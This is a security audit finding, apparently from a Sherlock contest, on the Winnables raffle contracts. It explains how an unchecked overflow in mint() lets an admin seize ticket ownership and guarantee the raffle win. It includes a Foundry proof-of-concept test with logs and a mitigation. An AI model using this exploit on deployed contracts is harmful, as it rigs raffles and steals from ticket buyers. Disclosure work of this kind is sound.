Blunt Smoke Crane

High

# An admin can guarantee that an address he controls is the winner of the raffle

### Summary

In the ``WinnablesTicketManager.sol`` contract, users may buy tickets for a raffle via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function, which internally calls the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function in the ``WinnablesTicket.sol`` contract. The [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function can only be called by an address that has the minter role (role 1). The admin can give role 1 to whomever he wishes. In the readme of the contest it is specifically stated that admins are not fully trusted: *However it is not expected that the admin can steal funds that should have ended in a raffle participantâ€™s wallet in any conceivable way* & *Admins cannot affect the odds of a raffle*. However those core invariants of the protocol can be easily broken. The [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function performs addition in an unchecked block:
```solidity
  function mint(address to, uint256 id, uint256 amount) external onlyRole(1) {
    if (to == address(0)) {
      revert TransferToAddressZero();
    }
    address operator = msg.sender;
    uint256 startId = _supplies[id];

    unchecked {
      _balances[id][to] += amount;
      _supplies[id] = startId + amount;
    }

    _ticketOwnership[id][startId] = to;
    emit NewTicket(id, startId, amount);
    emit TransferSingle(operator, address(0), to, id, amount);

    _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount);
  }
```
This allows a malicious admin to overflow the **_supplies[id]** mapping, and set the **_ticketOwnership[id][startId] = to;** of the user that just bought tickets to an address he controls, thus guarantying that an address controlled by the admin is going to win the raffle. The malicious admin can also simply wait for many users to buy tickets and then overflow the **_supplies[raffleId]** so it is equal to 0, then mint one NFT to an address he controls. So when the winner is drawn, the only possible NFT that can win the raffle is the NFT with ID 0. Note that there is a separate vulnerability in the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function where the root cause of the admin manipulating the raffle winner is different. 

### Root Cause

The [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function performs addition in an unchecked block.

### Internal pre-conditions

1. Raffle is fully set up
2. An admin gives himself, or an address he controls role 1
3. Users buy tickets via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function

### External pre-conditions

_No response_

### Attack Path

Attack Scenario 1:
1. An admin gives himself, or an address he controls role 1
2. Alice buys 1 token via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function
3. The admin overflows the **_supplies[raffleId]** mapping to be equal to 0, and then mints one token to an address he controls that way the **_ticketOwnership[raffleId][tokenId]** will be equal to the attacker address, not to alice's address. 
4. He can overflow the **_supplies[raffleId]** mapping as many times as he wishes, there is frontruning on Avalanche.

Attack Scenario 2:
1. An admin gives himself, or an address he controls role 1
2. Users buy multiple tickets
3. Before a winner is drawn (before the [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) function is called), the admin overflows the **_supplies[raffleId]** so it is equal to 0, then mints one NFT to an address he controls.
4. The [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) function is permissionless, so after the admin performs step 3, he can call it directly, or if somebody called it before the admin can perform step 3, the admin can frontrun the call to [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329)

When the  [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) function is called and later on [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function which internally calls the [_getWinnerByRequestId()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472-L477) function:
```solidity
    function _getWinnerByRequestId(uint256 requestId) internal view returns(address) {
        RequestStatus storage request = _chainlinkRequests[requestId];
        uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId);
        uint256 winningTicketNumber = request.randomWord % supply;
        return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber);
    }
```
The [supplyOf()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L117-L119) function in the ``WinnablesTicket.sol`` contract will be called, and will return 1. As can be seen from the above code snippet **uint256 winningTicketNumber = request.randomWord % supply;** when supply is 1, the only possible winning NFT can be 0. The admin owns this NFT.

### Impact

The admin can guarantee that an address he controls wins the raffle. Breaking a couple of protocol invariants, and effectively stealing money from the users who bought tickets, hoping they are going to win a hefty prize from the raffle. 

### PoC

[Gist](https://gist.github.com/AtanasDimulski/f1521e1fb0f77336e8836fbb454ff0be)
After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/f1521e1fb0f77336e8836fbb454ff0be) add the following test to the ``AuditorTests.t.sol`` file:

```solidity
    function test_OverflowNFTOwners() public {
        vm.startPrank(admin);
        winnablesTicket.setRole(admin, uint8(1), true);
        /// INFO: Alice buys one ticket
        winnablesTicket.mint(alice, 1, 1);
        console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1));
        assertEq(alice, winnablesTicket._ticketOwnership(1,0));
        uint256 maxUint256 = type(uint256).max;
        winnablesTicket.mint(admin, 1, maxUint256);
        winnablesTicket.mint(admin, 1, 1);
        console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1));
        assertEq(admin, winnablesTicket._ticketOwnership(1,0));

        /// INFO: Bob buys 5 tickets
        winnablesTicket.mint(bob, 1, 5);
        console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1));
        assertEq(bob, winnablesTicket._ticketOwnership(1,1));

        winnablesTicket.mint(admin, 1, (maxUint256 - 4));
        console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1));

        winnablesTicket.mint(admin, 1, 5);
        console2.log("The supplies for raffle with id 1: ", winnablesTicket._supplies(1));
        assertEq(admin, winnablesTicket._ticketOwnership(1,1));
        assertEq(admin, winnablesTicket._ticketOwnership(1,0));
        vm.stopPrank();
    }
```

```solidity
Logs:
  The supplies for raffle with id 1:  1
  The supplies for raffle with id 1:  1
  The supplies for raffle with id 1:  6
  The supplies for raffle with id 1:  1
  The supplies for raffle with id 1:  6
```
To run the test use: ``forge test -vvv --mt test_OverflowNFTOwners``

### Mitigation

Remove the unchecked block. 